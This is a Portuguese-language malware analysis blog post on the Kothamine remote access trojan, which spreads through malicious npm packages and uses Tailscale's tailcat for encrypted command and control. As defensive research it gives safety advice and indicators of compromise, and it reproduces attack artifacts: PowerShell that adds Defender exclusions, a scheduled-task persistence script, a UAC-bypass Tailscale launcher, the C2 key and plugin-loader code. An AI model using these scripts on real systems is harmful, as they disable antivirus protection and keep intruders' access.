O malware Kothamine usa o tailcat do Tailscale para burlar a detecção de rede. 

| 25 de setembro de 2026
O malware Kothamine usa o tailcat do Tailscale para burlar a detecção de rede. 

Descobrimos um Trojan de acesso remoto (RAT) não documentado chamado Kothamine Agent . Ele suporta mais de 30 comandos e dá aos atacantes o controle de um sistema infectado. Windows computador: eles podem executar comandos, ler e modificar arquivos e adicionar novas funcionalidades. Algumas versões também podem roubar dados do navegador e gravar através da câmera e do microfone. 

Descobrimos que o Kothamine está associado a pacotes npm maliciosos, o que pode colocar em risco usuários e desenvolvedores que instalam esses pacotes. Em versões recentes, o malware usa o tailcat , uma ferramenta de código aberto da Tailscale, para receber comandos por meio de uma conexão criptografada. Isso dificulta a inspeção de suas comunicações e impede que os defensores bloqueiem um domínio de comando e controle (C2) convencional.

Com base nos uploads do VirusTotal e nos commits do GitHub, o Kothamine parece estar em desenvolvimento ou distribuição desde pelo menos julho. Versões anteriores utilizavam o Tailscale. VPN em vez do tailcat. Dependendo da versão, o malware inclui as ferramentas de rede ou as baixa de fontes como o GitHub.

Como se manter seguro 

Antes de instalar um pacote npm desconhecido, verifique seu repositório, mantenedores, dependências e versões recentes. Procure por relatos de atividades maliciosas e dê preferência a pacotes com histórico consolidado e manutenção regular.

  • Verifique o nome com atenção. Certifique-se de não estar baixando um pacote falso com um nome semelhante. 
  • Verifique o desenvolvedor ou a organização e certifique-se de que a editora pareça legítima. Veja, por exemplo, se ela possui um site ou um repositório no GitHub. 
  • Leia algumas avaliações, problemas e relatos. Pesquise o nome do pacote no Google e verifique se há relatos de possível malware detectado. 
  • Veja como ele é popular. Um pacote com muitos downloads e usuários geralmente é mais fácil de verificar do que um pacote totalmente novo, sem quase nenhum histórico. 

Análise técnica

Kothamine e os pacotes npm maliciosos

O Kothamine é escrito em C e C++. Na maioria das amostras que analisamos, ele consiste em um injetor e uma DLL contendo o agente. O agente suporta mais de 30 comandos, permitindo ao operador controlar o sistema infectado e carregar DLLs adicionais para ampliar suas capacidades.

O agente Kothamine sofreu algumas alterações ao longo do tempo. As versões anteriores encontradas no VirusTotal utilizavam o Tailscale. VPN em vez de tailcat, e as strings não estavam criptografadas. Alguns recursos, incluindo uma forma de burlar o Controle de Conta de Usuário (UAC) e comandos de roubo de dados, foram detectados apenas em determinadas versões. 

Em algumas versões, o Kothamine baixava os arquivos do Tailscale do site oficial do Tailscale ou de um repositório do GitHub, em vez de incluí-los no agente.

O mesmo repositório do GitHub é citado em um conselho sobre um pacote npm malicioso chamado dotnet-runtime-baseO pacote de download npm-sc-legit.exe desse repositório. No momento da redação deste texto, outros dois pacotes publicados pelo mesmo desenvolvedor haviam sido removidos.

Os autores dessas campanhas cometeram um erro e publicaram instruções para a compilação. kothamine-stub-cpp em um dos pacotes. O guia também aborda o carregamento de assemblies .NET, algo que não observamos nos exemplos que analisamos.

O npm-sc-legit.exe O executável é uma versão compilada do Kothamine que também contém comandos para roubar dados. Não encontramos um painel ou construtor para o Kothamine, mas os recursos presentes em diferentes versões sugerem que os operadores podem habilitar funções e comandos específicos conforme necessário.

A análise a seguir se concentra em uma amostra recente do Agente Kothamine que usa o tailcat para comunicação C2.

Como funciona o agente Kothamine

Nas versões analisadas, um executável internamente denominado Kothamine Injector injeta a DLL do Kothamine Agent, normalmente em explorer.exeTambém fazemos referência a versões anteriores para mostrar como o agente mudou.

1. Injetor de Kothamine

O injetor de kotamina realiza as seguintes operações: 

  • Adiciona Windows Exclusões do Defender usando o PowerShell
  • Copia-se a si mesma para %ROAMING%\MicrosoftEdgeUpdateCore.exe
  • Extrai a DLL do agente para %ROAMING%\MicrosoftEdgeUpdateCore.dll
  • Cria up.ps1 em %TEMP% para persistência
  • Injeta a DLL do agente em explorer.exe usando OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThreade LoadLibraryA

O up.ps1 O script cria uma tarefa agendada para obter persistência usando o executável Injector: 

$A=New-ScheduledTaskAction -Execute 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe'  
$T=New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask 'MicrosoftEdgeUpdateTask' -Action $A -Trigger $T -RunLevel Limited -Force 

2. Agente Kothamine 

Agente iniciante 

O agente cria um mutex chamado Local\KothamineAgentInstance e inicia seu fio condutor principal.

Em seguida, executa comandos do PowerShell para adicionar o executável e a DLL ao Windows Lista de exclusão do Defender:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\Desktop' -ErrorAction SilentlyContinue; 
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue;  
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue;  
Add-MpPreference -ExclusionProcess '{PROCESS_NAME}.exe' -ErrorAction SilentlyContinue; 
Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue"

Algumas das versões detectadas não possuem strings criptografadas. Outras, no entanto, possuem strings criptografadas usando uma simples operação XOR e uma chave XOR dedicada para cada string.

Comunicação C2 usando tailcat 

A característica distintiva do Kothamine não é a complexidade técnica, a funcionalidade do agente ou a ofuscação, mas sim o uso do Tailcat e do Tailscale. VPN para receber comandos a serem executados. Isso proporciona ao agente um canal de comunicação resiliente e criptografado.

Tailcat é um projeto de código aberto recente, lançado pela equipe da Tailscale. O Tailcat utiliza o plano de dados da Tailscale (WireGuard, NAT traversal e DERP), mas sem o seu plano de controle. De acordo com a documentação oficial, isso significa que o Tailcat não possui endereços IP, contas, administradores, usuários, controles administrativos ou governança. Essas características, portanto, o tornam uma ferramenta atraente para uso em malware. 

Ao contrário da escama da cauda VPN O Tailcat não exige conta nem registro de dispositivo. Seus desenvolvedores o projetaram para conexões de curta duração.

Como não existem contas, o acesso é baseado na posse de um endereço tailcat e das chaves públicas usadas para identificar os dispositivos de conexão. Isso não torna a conexão completamente anônima: os servidores de retransmissão hospedados podem reter registros de metadados.

O tc-address O parâmetro `forward` permite que o cliente obtenha as informações necessárias para rotear corretamente a solicitação. Além disso, o `tailcat` não exige acesso privilegiado à máquina, pois utiliza a ferramenta de linha de comando (CLI) e bibliotecas do espaço do usuário. 

Nas versões recentes do Kothamine, o agente extrai o tailcat de seus recursos e o salva como %ROAMING%\TailscalePortable\tailcat.exe.

O executável tailcat é iniciado com o CreateProcessA função e os seguintes parâmetros (internamente denominados como spawn_tailcat_forward fase): 

"C:\Users\{USER}\AppData\Roaming\TailscalePortable\tailcat.exe" forward  tc…. 18080:4444 

Este comando torna as portas do servidor tailcat disponíveis como portas TCP locais padrão (18080 (neste caso) e as solicitações são encaminhadas para a porta 4444 do nó do operador. Kothamine usa funções de socket para se conectar a 127.0.0.1:18080, onde o gato-da-cauda está ouvindo. 

Se a string de ID do agente não estiver vazia, o agente enviará uma solicitação de perfil criptografada contendo as seguintes informações (run_c2_loop fase): 

{"name":"base_<rand()>","os":"Windows","ip":"0.0.0.0","auth_token":"af27..,"type":"base"} 

Em seguida, o agente entra em um loop infinito para receber comandos para executar do C2 (run_c2_loop fase). O agente aguarda novos comandos para executar usando o select A função socket envia periodicamente mensagens KEEP-ALIVE caso nenhum comando seja recebido. 

As mensagens trocadas com o C2 são criptografadas e descriptografadas usando AES-GCM (aes_encrypt fase).  

A chave AES de 32 bytes é decodificada em base64 a partir da string (c2_key fase): 

mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU= 

Comandos suportados 

Nesta versão, o agente Kothamine suporta 30 comandos. relacionado a: 

  • Interação com processos
  • Interação com arquivos e diretórios
  • Executar comandos do shell
  • Ampliar a capacidade do agente com base nas DLLs recebidas.
Nome do comando Descrição 
sysinfo/systeminfo, curpid Retorna informações do sistema, como PID, caminho atual, nome do host e sistema operacional (definido no código). 
tasklist, kill Retorna os processos obtidos através de “ tasklist /FO CSV /NH ”. Encerra o processo especificado pelo PID usando “ taskkill /F /PID ”. 
ping Teste de funcionamento: “Pong” retorna ao C2. 
ipconfig Executa o comando “ ipconfig /all ” e retorna o resultado. 
exec, shell_execExecuta comandos do shell com _popen() e envia a saída de volta. 
mkdir, rmdir, cp, mv, cd, ls, dir, pwdInterage com arquivos e pastas no sistema. 
writefile_start, writefile_chunk, writefile_end, writefile, readfile, createfile, delfile, downloadLê, escreve e apaga arquivos arbitrários. 
load_featureEscreve e carrega uma DLL codificada em base64 recebida. A DLL é carregada usando LoadLibraryA e o método “ GetFeatureApi ”, resolvido via GetProcAddress , é executado. Salva os ponteiros de função necessários para executar a função. 
exec_feature, features, list_features, unload_featureEle interage com os recursos carregados para visualizá-los, executá-los ou removê-los. 

Dado que os demais comandos são comuns aos outros agentes, o foco da análise está no sistema de "plugins" que permite ao operador receber DLLs e ampliar a funcionalidade do agente. 

Sistema de plugins 

Para carregar uma nova DLL, o operador usa o comando: 

load_feature <name> <B64EncodedDLL> 

Em linhas gerais, o processo funciona da seguinte maneira. O código e os nomes das variáveis ​​abaixo foram reconstruídos a partir dos registros de uso e saída.

  1. Primeiro, o agente verifica se a funcionalidade já foi carregada e, em caso afirmativo, a descarrega: 
if (g_features.find(name) != g_features.end()) {
    send_text("[!] " + name + " already loaded, unloading first");
    unload_feature(name);
}

  

  1. Ele tenta criar a DLL recebida em um local obtido através de GetTempPath ou SHGetFolderPathAou no caminho codificado. C:\Windows\TempEle grava a DLL decodificada e a carrega com LoadLibraryA.
  1. Resolve e executa o GetFeatureApi método da DLL carregada: 
pGFA = GetProcAddress(hModDLL, "GetFeatureApi");
if (!pGFA) {
    send_text("[!] GetProcAddress(GetFeatureApi) failed, lastError= …");
    FreeLibrary(hMod);
    return 0;
}
api = pGFA();

Não encontramos uma DLL que nos permitisse analisar completamente a estrutura retornada por GetFeatureApiNo entanto, ao analisar o código e as strings, identificamos os seguintes campos: 

/* Function used for C2 callback */
typedef void (*FeatureSendCb)(void *data, int len);

struct FeatureApi {
    char *version;
    char *name;
    void (*init)(FeatureSendCb send);
    void (*exec)(char *args, FeatureSendCb send);
    void (*cleanup)(void);
};

Os ponteiros para a DLL carregada e a estrutura retornada são salvos no ambiente global. variável chamada internamente g_features, utilizando esta estrutura: 

struct LoadedFeature {
    void *hModule;          /* Loaded DLL */
    struct FeatureApi *api; /* Pointer returned by GetFeatureApi() */
};

                            

  1. Executa o init função contida na estrutura retornada, passando a ela a função usada para comunicação C2: 
send_text("[!] calling init..."); 
api->init(*feature_send_callback);   
send_text("[!] init done");

Após o carregamento da funcionalidade, o operador pode executá-la usando o comando: 

exec_feature <functionName> [args] 

Diferentes builds de Kothamine: Tailscale VPN , Desvio do UAC e comandos de roubo 

Como mencionado anteriormente, detectamos versões do Kothamine com diferentes capacidades.

As versões anteriores utilizavam a escala de cauda. VPN antes do lançamento do Tailcat. Eles baixaram e executaram o instalador do site da Tailscale com o /quiet e /silent flags, ou baixaram os arquivos necessários diretamente do GitHub. Isso incluía tailscaled.exe, tailscale.exe, tailscale-ipn.exee wintun.dll.

Algumas versões ignoram o Controle de Conta de Usuário (UAC) usando fodhelper.exe para executar elevated.ps1No exemplo abaixo, o script do PowerShell inicia um Tailscale. VPN conexão:

$tsdir='C:\Users\{USER}\AppData\Roaming\TailscalePortable'
$ts='""'+$tsdir+'\\tailscale.exe""'
$tsd='""'+$tsdir+'\\tailscaled.exe""'
Start-Process -WindowStyle Hidden -FilePath $tsd -WorkingDirectory $tsdir
$connected=$false
for ($i=0; $i -lt 45; $i++) {
    Start-Sleep 2
    try { &$ts up --unattended=true --auth-key='tskey-auth-…' 2>&1 | Out-Null } catch {}
    $ip=(&$ts ip 2>&1 | Out-String)
    if ($ip -match '100\.') { $connected=$true; break }
}

O agente então se conecta à porta. 4444 em um endereço IP de rede Tailscale (100.x.x.x) e começa a receber e executar comandos.

Finalmente, como mencionamos anteriormente, diferentes versões do Kothamine suportam outros comandos. Por exemplo, a versão enviada para o GitHub inclui comandos adicionais, como: getdiscord, getsessions, screenshot, screensharee cameraIsso permite que os operadores:

  • Roubar cookies de vários navegadores
  • Roube arquivos JSON relacionados a jogos, incluindo arquivos associados ao Steam e ao Minecraft.
  • Faça capturas de tela e grave vídeos usando a câmera e o microfone.
  • Acessar o conteúdo da área de transferência

Indicadores de comprometimento

hashes SHA-256 

  • ec4219a7ecf132c29080fbb20e4ab410c57faa85aeed7acade1eb15d905a6ee0Injetor de Kothamine analisado no blog 
  • 74eca3973ad72a6ddc9397aff8250d9ee287211fc9a055d5ee290d01cf76a70cAgente Kothamine analisado no blog 

URLs 

  • https://github[.]com/cphc811-ui/Repositório usado para baixar executáveis ​​e DLLs associados ao Tailscale. VPN 

Agradecimentos    

Aviso da Mondoo sobre o pacote npm analisado .


Navegue como se ninguém estivesse olhando. 

VPN Malwarebytes Privacy VPN sua conexão e nunca registra o que você faz, para que a próxima notícia que você ler não pareça algo pessoal.Experimente gratuitamente → 

Sobre o autor

Gabriele é um engenheiro de pesquisa de malware que adora combater malware. Quando não está fazendo isso, você o encontrará curtindo a natureza, a arte e os animais.